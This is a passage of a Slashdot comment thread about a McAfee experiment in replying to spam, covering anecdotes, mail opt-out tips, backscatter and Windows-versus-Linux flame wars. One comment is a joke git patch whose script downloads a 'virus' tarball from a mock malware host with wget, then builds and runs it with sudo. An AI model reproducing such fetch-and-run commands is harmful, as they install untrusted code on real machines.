      I tried doing that, and it dramatically increased the delivery attempts. Because the spammers now had N "real" addresses at my domain to add to their lists.

      So I switched to putting the throwaway stuff on the right hand side, and periodically flushing domains. And found that spammers will take an address like "blit@somehost.example.com" and add both "blit@somehost.example.com" and "blit@example.com" to their lists.

      Because they don't care how many invalid addresses they target. It doesn't cost them anything.

  56. Re:Birds of a feather. Security Absurdity! by dedazo · · Score: 0, Offtopic

    No. Did you have any other questions?

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    Web2.0: I love when people Flickr my cuil and digg my boingboing until my google is reddit and I start to yahoo
  57. Well.... by Anonymous Coward · · Score: 0

    at least she was worried about the enviroment when she stopped putting her physical address in to stop getting snail spam...

    where do they find these people? is that the average American thinker?

  58. Wife experience by hansamurai · · Score: 3, Interesting

    One time my wife got so sick of spam that she clicked the unsubscribe link on all the spams she received. Of course, this only told the spamming sites that there was someone on the other end... Now she gets a ton more a day. And she's crazy about deleting it, even when it's in her spam folder. I currently have like 7000 spams in my gmail spam folder and it ticks her off so much to see a number that large.

  59. Peanut Butter by JazzLad · · Score: 1

    I love sending a little surprise to the credit card solicitations, I hear most of them are completely automated ... I can't imagine peanut butter is good for scanners ... to C[my]A, I always print a warning on the outside of the envelope warning them there is peanut butter inside, but if it is 100% automated ... I'm too lazy to Google it for you but years ago someone proved you can take together an application torn into little piece & then fill out & mail & get it accepted ... inexcusable & since then I send a treat.

    --
    "If you have nothing to hide, you have nothing to fear." - Every fascist, ever
  60. Spam count by yoyhed · · Score: 4, Interesting

    I'm surprised she only ended up with 23,000 spam at the end of the month, when purposely giving out her address. Ever since getting Gmail in 2004, I have been completely careless about giving out my address, but never gave it to spammers on purpose. I now have 7,742 messages in my Spam folder, which deletes messages after 30 days, so that's what I get in a month. I only see 1 or 2 of those 7k each month :-)

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    WHO NEEDS SHIFT WHEN YOU HAVE CAPSLOCK/ DAMN1
    1. Re:Spam count by agiduda · · Score: 2, Funny

      back in the day when I had an IT that was carefree with the T3 - I had a script that would reply to unsubcribes, ~25K times per spam. Never seemed to hear from them after that...

      --
      How much easier it is to be critical than to be correct.
      -Benjamin Disraeli
    2. Re:Spam count by ja · · Score: 1

      .. in part because the return address was fake, and those poor people never contacted you in the first place?

      --

      send + more == money? ...
    3. Re:Spam count by crossmr · · Score: 1

      Gmail isn't all its cracked up to be. I still get the occasional piece of spam in my inbox. Not as much as a place like Yahoo, but I've had that address a lot longer.

  61. Re:Point: "Reply" doesn't mean "Hit the reply butt by Nigel+Stepp · · Score: 2, Insightful

    I'm confused. You start off telling us that you understand that return addresses on spam are fake.

    From the rest of your comment, however, it seems you are still using them to send out messages. Please tell me I'm misreading.

    Backscatter is a big problem; if you are really doing what it sounds like you are doing, mail server operators and domain owners everywhere hate you.

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  62. If I were dictatator... by Anonymous Coward · · Score: 0

    I'd legalize spamming. BUT, I would have extremely harsh penalties for buying something off a SPAM message.

  63. Re:Free PC from MacAfee! Limited Offer! Reply toda by ozmanjusri · · Score: 4, Funny
    Wow, that's retro.

    How did you get Firefox to do that?

    --
    "I've got more toys than Teruhisa Kitahara."
  64. Opt out of Direct Mail by mls · · Score: 1

    I've said it before.

    Opt out of direct mail and credit offers if you don't want them. It is easy, and while no longer entirely free, is very cheap ($1).

    Sign up for the Direct Marketing Association's (DMA), "Mail Preference Service" (MPS), it will reduce the amount of unwanted mail coming to you, including credit card offers, and it really works.

    However, a few notes on the service:
    1) It can easily take 6 months for a mailing list to be updated removing your address from it. This has to do with the frequency that marketers update and certify their lists for the USPS.
    2) Some of those catalogs that you have been getting for no apparent reason that you like getting, they may stop. If you are an existing customer of a company, or have specifically requested to get a certain mailing, then you may still get that mailing.
    3) If there are multiple last names in your household, you may need to submit the form multiple times with those combinations (there are some stupid list maintainers out there).

    Here is why it works. The mailer doesn't want to waste money on postage and printing costs to send a mail piece to you, if all you are going to do is throw it away. There are enough people out there that are on this list, and it adds up to some serious savings quickly. Also, there may be some shifty advertisers out there, but by in large they take their mailings to reputable commercial mail houses to prepare the mail. These mail houses will often do the right thing.

    Final thought: if you like paying money to keep your mailbox clean of this sort of thing, there are now services such as GreenDimes who will do this for you more proactively.

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    -mls
    1. Re:Opt out of Direct Mail by Ilgaz · · Score: 1

      It is obvious that nobody trusts them to give their e-mail address, you can't blame people for not giving their mail some organised spammers who _insists_ on spamming them even in age of very powerful anti spam filters.

      $1 to organised spam providers via check? Let them offer credit card too. Did you really apply for that service?

      My solution is better, free: http://www.spamcop.net/ . It is not some good guy they can easily threaten with lawsuits anymore, it is CISCO. Let them just try.

    2. Re:Opt out of Direct Mail by mls · · Score: 1

      I'm talking about postal direct mail, not email.
      The cost incentive for them is not there for email yet, and I also wouldn't trust them currently.

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      -mls
    3. Re:Opt out of Direct Mail by Ilgaz · · Score: 1

      Oh I got it.

      Well, if they are evil, they can also verify that they are sending to right address when someone fills that form and they can use that $1 to cover the cost of advanced database software they are running :)

      My first reaction to physical spam is, noting the spammer company so I never buy their products again and tearing off, putting the spam to a visible place so the idiot distributing them may get a clue about who he deals with.

      Interestingly, I never get postal spam anymore :)

    4. Re:Opt out of Direct Mail by mls · · Score: 1

      I don't know that I would consider The DMA evil, I just wouldn't trust them with my email address.

      As for postal mail, your address is known to pretty much every credit bureau and list vendor anyhow. Adding your name to The DMA's Mail Preference Service (MPS) list will not result in more mail, but less. Nearly every sizable list vendor and mail house is a member of The DMA, and one of the criteria for membership in The DMA is that you must suppress addresses from the MPS list from your mailings unless the person has a pre-existing business relationship with the mailer.

      If you think about the economics of this, there are about 4 million US addresses on the MPS list. If a mailer were to pay to send a piece of mail to everyone of those, Postage + Creative + Paper + Printing = $1/piece minimum likely. That is $4 Million to mail to people who will promptly throw away your mailing. It is in the best interest of the direct marketer to have this list, to save themselves tons of money.

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      -mls
  65. The real WTF is.... by Joce640k · · Score: 2, Interesting

    Whay aren't the feds doing this then prosecuting the people who send the snail-mail for spamming?

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    No sig today...
  66. Re:Birds of a feather. Security Absurdity! by dougisfunny · · Score: 1

    Brothers, the good lord said 'Let there be Light'

    And there was light.

    And then the good lord said 'Let there be water'

    And there was a blue screen of death.

    Can I hear an Amen Brother!

    --
    This is not the funny you're looking for.
  67. Heat your house for free by Anonymous Coward · · Score: 0

    Buy a wood stove, then get on every mailing list you can, and your fuel will be delivered to your mailbox daily by the postman for free. Of course, your spam won't be carbon neutral, but you can have the joy of heating your house at the expense of all those slime balls, and your oil bill will go down. I sense a business opportunity here.

  68. Re:Birds of a feather. Security Absurdity! by Anonymous Coward · · Score: 0

    this is what you probably look like in your tireless crusade against "M$"

    this is what I always think about when I read your posts.

    this is how I feel after reading your posts.

  69. Re: What Happens When You Reply To ALL of Your Spa by ceoyoyo · · Score: 1

    A free PC that you've gotten spammed for a month and is now full of viruses.

  70. Re:Birds of a feather. Security Absurdity! by Anonymous Coward · · Score: 0

    Hahaha!

    But I disagree. I think this is what twitter looks like when he gets ready in the mornings to do battle with the evil Microsoft.

  71. Re:Rising fuel costs solved by Technician · · Score: 4, Funny

    Giving a real, existing address to the scum of the earth can't be good for your health. Why didn't they set her up a PO Box or something?

    With rising fuel oil costs, this may be the answer. Free fuel delivered to your door for your fireplace.

    I wonder how long it will take spammers to catch on. It could be nice while it lasts.

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    The truth shall set you free!
  72. I signed up for Slashdot... by thephydes · · Score: 1

    and I get all the spam I need just reading the comments.

  73. British volunteers received the most Nigerian scam by IAR80 · · Score: 1

    Quote fro the article: "the British volunteers received the most Nigerian scam e-mail" Maybe this is telling us something about Britain.

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    http://ebgp.net/ccc/
  74. Spam Canned two years ago by Anonymous Coward · · Score: 2, Funny

    I have absolutely no spam problems:

          "Two years from now, spam will be solved,"

                                      BILL GATES, 2004

    http://www.cbsnews.com/stories/2004/01/24/tech/main595595.shtml

  75. Re:Birds of a feather. Security Absurdity! by Anonymous Coward · · Score: 0

    Decent people have plenty of other accounts to tell the truth with.

    Don't mind me, just fixing that for you.

  76. Re:Free PC from MacAfee! Limited Offer! Reply toda by V!NCENT · · Score: 1

    Format C?

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    Here be signatures
  77. Re:Long story short-Limerick version by EdgeyEdgey · · Score: 1

    Bravo!

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  78. Re:Rising fuel costs solved by louisadkins · · Score: 2, Funny

    Free fuel delivered to your door for your fireplace.
    TinLC
    That's all I got to say, no comment, move along, nothing to see here.

  79. My conclusions by Insanity+Defense · · Score: 1

    Presumably this "free PC" came preinstalled with McAffee products?

    Now that they have proven their own products are ineffective what products actually work?

    Personally I am nearly spam free even with my spam filters off while job hunting. With my spam filters on I see maybe one spam a month. I have used Thunderbird for E-Mail and Firefox of web browsing and my spam/malware levels did not change last year when I abandoned Windows for LinuxMint.

  80. It wasn't the PC that slowed down by jopet · · Score: 2, Interesting

    "Overall, the most obvious result of the S.P.A.M. experiment was that the PC that McAfee had provided for the project noticeably slowed down, clogged up with spyware, Mooney says."

    It wasn't the PC that slowed down but the operating system. It would have been interesting to conduct that experiment with people using several differen operating systems and then look at the amount of damage and spyware found.

  81. Re:Free PC from MacAfee! Limited Offer! Reply toda by tepples · · Score: 2, Informative

    [A pop-up?] Wow, that's retro. How did you get Firefox to do that?

    Easy. A site can show a pop-up when the user clicks a link. Firefox detects it as a user-initiated pop-up and doesn't block it.

  82. Re:Free PC from MacAfee! Limited Offer! Reply toda by Anonymous Coward · · Score: 1, Funny

    Strange it didn't work for me. Is my firefox broken?

  83. Batteries by Anonymous Coward · · Score: 0

    Especially 9v.

    1) you don't have to worry about recycling them
    2) excess postage has to be paid

  84. Re:Free PC from MacAfee! Limited Offer! Reply toda by MegaHyster · · Score: 0

    but now is a smoking, virus- and trojan-infected hole in her desk..

    sounds like one of my exgirlfriends...

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    All good things...
  85. Re:Free PC from MacAfee! Limited Offer! Reply toda by indifferent+children · · Score: 1
    Strange it didn't work for me. Is my firefox broken?

    From the spammer's point of view, yes it is.

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    Censorship is telling a man he can't have a steak just because a baby can't chew it. --Mark Twain
  86. 20000/month is small. by Anonymous Coward · · Score: 0

    My wife at one point tried entering contests that needed email addresses. I had a domain name, so set it up to deliver mail to *@" so
    we could coin email addresses ad nauseam.

    Spam slowly grew, but kept on growing as long as
    this was in effect. By the time I limited it to the actual 5 or so addresses we use, we were getting
    over 40,000 spam emails per day. (There may have been more, but we were using dialup at that time, and the mailbox may have overfilled and throttled much of it.) It was obvious that some spammers were sending mail to every name in a long address book@.

    She no longer does these contests.

  87. Re:Birds of a feather. Security Absurdity! by cbiltcliffe · · Score: 2, Insightful

    If you'd actually read the post, rather than seeing 'twitter' - FOAM, LATHER, PSYCHOSIS - you'd have seen that he said user actions make no difference against spam. Not viruses/malware/trojans.

    From twitter's post:
    "The false conclusion we are supposed to draw is that you can somehow be spam free if only you do this or that...."

    Yes, he referred to antivirus software, but the only connection I saw was that antivirus vendors often include antispam features in their full Internet security products. Of course, this wasn't mentioned, but it's a safe assumption that most people on this board know that pretty much every antivirus vendor also makes an antispam product. And since this study was to do with spam, after all, it seems safe to not specifically mention the antispam product in the comments.

    You, however, would rather go off on a foaming at the mouth, psychotic tirade as soon as you grep twitter anywhere close to a comment.

    Thrown any chairs lately?

    "I'm going to ****ing kill twitter!!!"

    --
    "City hall" in German is "Rathaus" Kinda explains a few things......
  88. 1 URL by hack++slash · · Score: 1

    Blocking Unwanted Parasites with a Hosts File

    Works very well on this 3ghz Win2k machine, had to remove it from my Asus Eee with XP because when starting the browser up it would pause for a couple of minutes whilst it digested the massive hosts file, so now I manually enter in unwanted advertisment URLs (from sites I regularly visit like slashdot/TheRegister etc.) into the Eee's hosts file and that works nicely as I very rarely see pop-ups and the browser window on the 7" screen has more signal (article) to noise (spam) ratio.

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    To do something right, you often have to roll up your sleeves and get busy.
  89. email leads to spam... by bonkeydcow · · Score: 1

    email leads to spam spam leads to malware malware leads to viruses viruses leads to suffering... The internet leads to the darkside, young padawan.

  90. Better solution in two words by Anonymous Coward · · Score: 0

    "printer" and "goatse"

  91. Re:Rising fuel costs solved by Thuktun · · Score: 2, Informative
  92. Re:Free PC from MacAfee! Limited Offer! Reply toda by Duncan+Blackthorne · · Score: 1

    Dude, that's harsh.

  93. MCafee seriously put those 50 people into danger by Ilgaz · · Score: 2, Interesting

    1) While we joke about it, Nigerian scheme has a real life consequence and there are several people who has been kidnapped, threatened with a real gun, found themselves in a plot which a countries government involved. There is nothing technical about it, there are no MCafee products to stop a guy showing up your door with a real gun as they got your home address.

    2) Worms/Viruses are all mafia type things run by real criminals who also has support from their governments and police. There is also terror network worm possibility. Your unprotected PC can be hosting the Al Queda sites for that month or some big pedophile network.

    Will MCafee give these people some legal protection? Did they instruct these people well? Did they tell about the funny looking Nigerian mails background and what kind of people runs those schemes?

  94. Re:Free PC from MacAfee! Limited Offer! Reply toda by gosand · · Score: 1

    I think it would be more interesting to do it with identical hardware PCs, one running Windows, one running Linux. Do some benchmarking before starting, use the same tools on both (firefox/thunderbird maybe). Could be interesting.

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  95. Re:MCafee seriously put those 50 people into dange by Anonymous Coward · · Score: 0

    orms/Viruses are all mafia type things run by real criminals who also has support from their governments and police. There is also terror network worm possibility. Your unprotected PC can be hosting the Al Queda sites for that month or some big pedophile network.

    There, there, Mr. Guiliani. It's time for your medicines now.

  96. Re:Birds of a feather. Security Absurdity! by dedazo · · Score: 0, Offtopic

    What you missed from his post before you went off on your "OMG poor little twitter" rant is the fact that he is confusing (deliberately) spam with viruses and malware, which is why I replied to him in kind. Read it again. From the petulant subject to the website he linked to (one of his favorites) to his lame-ass conclusion and creative spelling.

    And when you're done, do me a favor and mark me as "foe" so you never feel personally insulted again by people who like to unravel twitter's never-ending bullshit, and I don't ever have to listen to your stupidity again.

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  97. This is most likely a publicity stunt... by st33med · · Score: 1

    But why??? To show how much of an idiot people are to accept Viagra knock offs promising to give her 'immense pleasur[sic]' and discovering that her mailbox is full of snake oil and will need more of McAffee to protect them even when they will slow your computer down more than a virus would and your email client could do better???? ...Yep, just answered my own question.:) The shocker is that someone would be as much of a fool to give her home address away, and McAffee does not step in. I wonder if she even realizes that \/14GERAH pIll5 FR33 is a scam ;).

  98. Scam? by metalpres · · Score: 1

    I actually tried one of those "Get a free Ipod" sites a while back (using a spam account, fake addresses, not giving out any of my real info) and I actually did get a free ipod, I took about 3 days an hour a day of filling out forms and ads to meet the requirements. Clearly the site was a scam assumming 99% or more of the people that try will never meet the requirements to get the prize, but you really can get the prize if you try. On a sadder note, not long after getting my free ipod I accidentally left it in some pants that went through a wash and it was ruined... bummer, atleast it was free.

  99. Summary by Anonymous Coward · · Score: 0

    Karma: Terrible.
    Reason: Psychosis.
    Prospect: Likely to stay that way for a long, long time.

  100. Have any nerds deliberately setup honeypots... ? by PDX · · Score: 1

    Have any nerds deliberately setup honeypots with this in mind?
      Reply to every phisher, spam bot, and storm net. The signal to noise ratio would go up taking up all remaining bandwidth. The profit margins for spammers would go down if legit sales decrease due to fake orders entered by bots purchasing Viagra with fake credit card numbers. If 99.99999% of all messages received by the Russian pharm sales people are bogus. They wouldn't pay unsuccessful spammers.

  101. Spamusement by Kelson · · Score: 1

    It's not the same cartoon, but Spamusement ran for about two years taking spam subjects and illustrating them in ways that, in all probability, were not what the spammer intended to get across.

    The official comic hasn't been updated in almost 2 years, but the archive is still up, and last I looked the forums had turned into a community of people doing unofficial strips.

  102. Re:Birds of a feather. Security Absurdity! by Zero__Kelvin · · Score: 1

    "It doesn't matter how much you hate Microsoft twitter, the reality is that the vast majority of malware/trojan infections on Windows PCs are the result of user action, or the lack thereof."

    Yes, I agree ... and that action is ... [wait for it] ... they hit the Power button when there was a network cable connected to the router.

    "Why do you think UAC is so annoying in Vista? Because Microsoft developers had nothing better to do?"

    It's called security theater. You might want to Google it.

    "The bad old days when Microsoft software put convenience over security are long gone, so you might want to find a different way to make your case against Windows."

    No. Actually the original argument still works fine, and is valid. Witness the Security Theater that is UAC. For some strange reason my Linux system is far more secure than any system running Vista, XP, Win9x or any other M$ OS, and yet it accomplishes this security without ever throwing a pop-up asking me if it was really me trying to accomplish a task I initiated. Hmmm ....

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  103. git-am patch for above by Zero__Kelvin · · Score: 1

    From d11d4ebe937b27ced23b0e6f766a813c74a39907 Mon Sep 17 00:00:00 2001
    From: Zero Kelvin
    Date: Wed, 2 Jul 2008 20:09:50 -0400
    Subject: [PATCH] Fixed ConceptJunkies misconception

    ---pwn3d-install | 11 +++++++----
    1 files changed, 7 insertions(+), 4 deletions(-)

    diff --git a/pwn3d-install b/pwn3d-install
    index 7ca9506..3c1ffbc 100644 --- a/pwn3d-install
    +++ b/pwn3d-install
    @@ -1,6 +1,9 @@
    #!/bin/bash
    -wget http://malware.makemoneyfast.ru/windows/virus/pwn3d.tar.gz -untar xvfz pwn3d
    -cd pwn3d
    +wget
    http://malware.makemoneyfast.ru/linux/virus/pwn3d-0.9a.tar.gz +tar zxvf pwn3d-0.9a.tar.gz
    +cd pwn3d-0.9a
    ./configure
    -./make infect
    +make
    +sudo make install
    +./pwn3d
    +
    --
    1.5.4.3

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  104. Re:Point: "Reply" doesn't mean "Hit the reply butt by RexDevious · · Score: 1

    Nope, you're not misreading. I take the reply to addresses at their word. If it bounces, it goes to a black hole set up for precisely that purpose (though yes, this is a lot unpleasant backscatter). The reason I took this approach was an experience I had setting up this one companies marketing system. Their previous system had been a sort of jury-rigged exchange box; but all their client's spam filters were set up to accept emails from it as legit. When we gave them a real email server, about 1/3 of all their communications were getting sucked up into spam filters because of tiny differences in the headers - we had to adjust it to spoof the old, goofy, headers from their previous system to get their invoices and stuff out. What that experience (and others) taught me is that a lot of small and medium size business simply don't have their email servers set up as well as spammers do; because email is not their core strength. And if you set up a spam trap that runs all those tests that a badly set up email server will fail - you're way to many risking false positives. The only way to perform a challenge response that avoids that is to, unfortunately, challenge. I'm sure there are ways to do that that would be more amenable to mail server operators and domain owners everywhere; but I haven't gotten to that stage yet. The primary purpose of the filter to completely eliminate false positives while still blocking the true positives - not eliminate backscatter. When the first problem is solved, then resources can be directed towards achieving secondary objectives.

    Does that seem unethical to you? It's only running on 2 test accounts right now, unlike boxtrap which runs on hundreds of thousands. I can hardly afford to solve other people's problems for free if I don't solve any problems for hire first. Couldn't mail server software address spoofing more efficiently than filtering software? It wouldn't need to be filtered at all if it hadn't been accepted as legit in the first place. That's my thinking right now at least - but there's a lot about this stuff I don't know yet so please feel free to point my in the right direction if I've made a fundamental blunder here somewhere.

    Thanks for the feedback.

  105. Re:Birds of a feather. Security Absurdity! by dedazo · · Score: 1

    Wow, how fucking cool are you? Thanks for the essay on how much more leet you are than the rest of us. If I actually cared about your opinion of me I'd go into detail explaining how UAC actually works, and how it doesn't "throw pop-ups" any more often than I see when using KDE. But I doubt you'd be able to understand that over the noise of your awesomeness.

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  106. Re:Birds of a feather. Security Absurdity! by Zero__Kelvin · · Score: 1

    "Trolling Slashdot is dreadfully easy

    I guess you aren't finding it so dreadfully easy after all! ROTFLMA

    "If I actually cared about your opinion of me I'd go into detail explaining how UAC actually works, and how it doesn't "throw pop-ups" any more often than I see when using KDE."

    The fact that you think any of this has anything to do with you is hillarious! You're confusing me with someone who wasn't a Vista Beta tester, and also with someone who lasks a clue to the degree that you do. HANL ...

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  107. Re:Birds of a feather. Security Absurdity! by dedazo · · Score: 1

    I guess you aren't finding it so dreadfully easy

    Oh LOLZORZ, you copied my sig and used it as a bullet point. How original.

    The fact that you think any of this has anything to do with you is hillarious!

    You're right, I misspoke there. It must have been that petulant tone, it's dazzling. What I meant was that I don't care to correct retards about shit they make up to support their religious arguments. Especially when the religion is a fucking operating system.

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  108. Re:Birds of a feather. Security Absurdity! by Zero__Kelvin · · Score: 1

    "What I meant was that I don't care to correct retards about shit they make up to support their religious arguments."

    Yes, I know. That was evident when you refused to stand corrected ;-)

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  109. Re:Birds of a feather. Security Absurdity! by dedazo · · Score: 1

    Well, you sure showed me, didn't you?

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  110. Re:Birds of a feather. Security Absurdity! by Zero__Kelvin · · Score: 1

    Yes. Better that you figure that out late than never, I suppose.

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  111. Re:Point: "Reply" doesn't mean "Hit the reply butt by Nigel+Stepp · · Score: 1

    It's been forever in slashdot time, sorry.

    It's not necessarily unethical, but it adds to the problem of spam.

    Every month or so, my network gets hit with hundreds of thousands of bounce messages from around the internet because a spammer is faking from addresses using my domain. Each bounce message comes from completely unrelated places and people. Some are mailbox full messages, some are "Your email contains a virus" messages, some are challenge response type messages like yours.

    It's like voting, each person does make a difference :). Someone who thinks, "it's just one account" is one of the 300,000 bounce messages hitting my network in a single day.

    I run a tiny network, the problem is much worse for big ones.

    If you want to do something heavy handed to stop spam, I would suggest something more like greylisting. Reject (using smtp reject during the smtp conversation, not a bounce email) every email that comes in the first time. Spam sending bots and whatnot will not try again, real mail servers will.

    You are right when you say "It wouldn't need to be filtered at all if it hadn't been accepted as legit in the first place." So, you don't accept then bounce, you reject up front with smtp reject.

    Typically, reject is *always* better than bounce.

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  112. Re:Point: "Reply" doesn't mean "Hit the reply butt by RexDevious · · Score: 1

    I totally agree, there *are* more stable ways of verifying a possibly spoofed "From" or "Reply" to address that simply using it and giving up if a response is not received in X # of days. Mark Perkel has some excellent techniques in this regard. And yes, doing something disruptive on a small scale (be it handling spam filter clumsily, or littering) does beg the question, "What if everyone did this?". However, I face two challenges in getting there.

    1. The "after-the-fact" method I use results in an annoying situation where email clients see an email and notify the user, only minutes later to have the spam removed from the stream and the email not being there. Email clients don't tend to remove the notification once an email has been removed. This will be an even bigger aggravation for push clients. My challenges in preventing this are first, dealing with instabilities of the box it's running - where critical functions are frequently unavailable and second, the techniques I've seen other use require a much higher level of expertise for users of the so-called "Grandma Demographic". I may be able to solve the problem by moving this to a dedicated server - but that's a pricey solution that would be premature at this point in development.

    2. To do this, I need to manipulate the stream myself. The only thing stopping me from doing that so far is the research. It's quite simple to use PHP built in mail functions, but by-passing all that encapsulation for a stream based approach (with the same degree of reliability I get using pre-made libraries) is going to take significantly more time.

    They say the road to failure is paved with perfection, and the road to failure is paved with "Good Enough". For me, getting around #1 will constitute "Good Enough" - though frankly it's pretty damn good already other than having to wait up to 3 minutes between getting a "New Mail" notification and being able to check for email. Perfection is a 100% protection against false positives, accommodation of clumsily configured mail servers, complete ease of use for users, and lastly, making a program which is an ideal netizen itself. To achieve all that, I've got to read several books, and then rent a dedicated server where I can put I'll I've learned to use. Or just hire someone to assist me with that. Either way, it's going to take more money and time than I can currently devote the the problem. The "Not quite good enough" version I've been running for the past 2 years has at least saved me from being swamped with spam, and I am saving up both money and time to devote towards progressing towards a more perfect system.

    But I hope I'm confident enough to launch something sometime in between the "Good Enough" milestone and the "Perfection" milestone. If there's anything that I've learned in the last 2 decades, it's that those who succeed in software don't wait until "Perfection" before going to market. Truly, I have yet to ever see a piece of perfect software even make it to production. For all it's flaws, I wouldn't shut off my clunky little program for my accounts for anything. Nor would I swap it for any other the other products or services I researched before reluctantly concluding I'd have to build something myself.

    If you like, I'll let you know when I've got something more robust online and tell you what techniques I'm using to see if I've made any stupid mistakes.

    Thanks for the advice.